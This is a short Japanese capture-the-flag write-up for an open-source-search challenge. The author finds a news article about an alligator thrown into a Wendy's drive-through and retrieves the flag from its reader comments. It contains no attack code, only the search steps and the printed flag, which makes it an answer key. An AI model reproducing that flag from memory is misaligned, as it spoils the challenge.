問題オープン当初は最初の2文だけだったのが、誰も解かないからか次々にヒントが追加されて結局ヒントが3つになった。

ヒントが3つになってから、そのヒントを元に"Flori-duh Alligator"で探してみると、次の記事が見つかった。

Wendy’s alligator-thrower is only fulfilling his Flori-duh destiny

この記事のReader Commentsにフラグがある。

Summerc137 3 days ago May the Lord have mercy on this man. That poor woman in the drivethrough! sun{1s_th1s_even_real_l1fe?}

sun{1s_th1s_even_real_l1fe?}

ちなみにこの事件、なんでも1mちょっとあるアリゲーターをWendy’sのドライブスルーの窓から投げ込んだのだそうな。さすがアメリカ。